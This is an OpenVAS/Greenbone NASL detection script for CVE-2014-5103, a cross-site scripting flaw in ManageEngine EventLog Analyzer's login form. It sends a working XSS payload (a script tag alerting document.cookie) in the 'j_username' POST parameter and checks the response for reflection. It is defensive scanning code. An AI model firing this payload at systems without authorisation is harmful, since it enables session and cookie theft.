ZOHO ManageEngine EventLog Analyzer 'j_username' Parameter XSS Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804815");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2014-5103");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-08-19 14:57:37 +0530 (Tue, 19 Aug 2014)");
  script_name("ZOHO ManageEngine EventLog Analyzer 'j_username' Parameter XSS Vulnerability");

  script_tag(name:"summary", value:"ZOHO ManageEngine EventLog Analyzer is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
  cookie or not.");

  script_tag(name:"insight", value:"Input passed via the 'j_username' POST parameter to event/j_security_check
  script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"ZOHO ManageEngine EventLog Analyzer version 9.0 build 9000 and probably
  other versions.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/94815");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2014/Jul/100");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127568");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2014-07/0100.html");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8400);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

zohoPort = http_get_port(default:8400);

url = "/event/index3.do" ;

req = http_get(item: url, port:zohoPort);
res = http_keepalive_send_recv(port:zohoPort, data:req);

if(res && ">ZOHO Corp.<" >< res && ">ManageEngine EventLog Analyzer" >< res)
{
  postData = "forChecking=&j_username=%22%3E%3Cscript%3Ealert%28document.cookie" +
             "%29%3B%3C%2Fscript%3E&j_password=12&domains=&loginButton=Login&optionValue=hide";

  url = "/event/j_security_check";

  host = http_host_name(port:zohoPort);

  req = string("POST ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(postData), "\r\n",
               "\r\n", postData);

  res = http_keepalive_send_recv(port:zohoPort, data:req);

  if(res =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie);</script>" >< res)
  {
    security_message(port:zohoPort);
    exit(0);
  }
}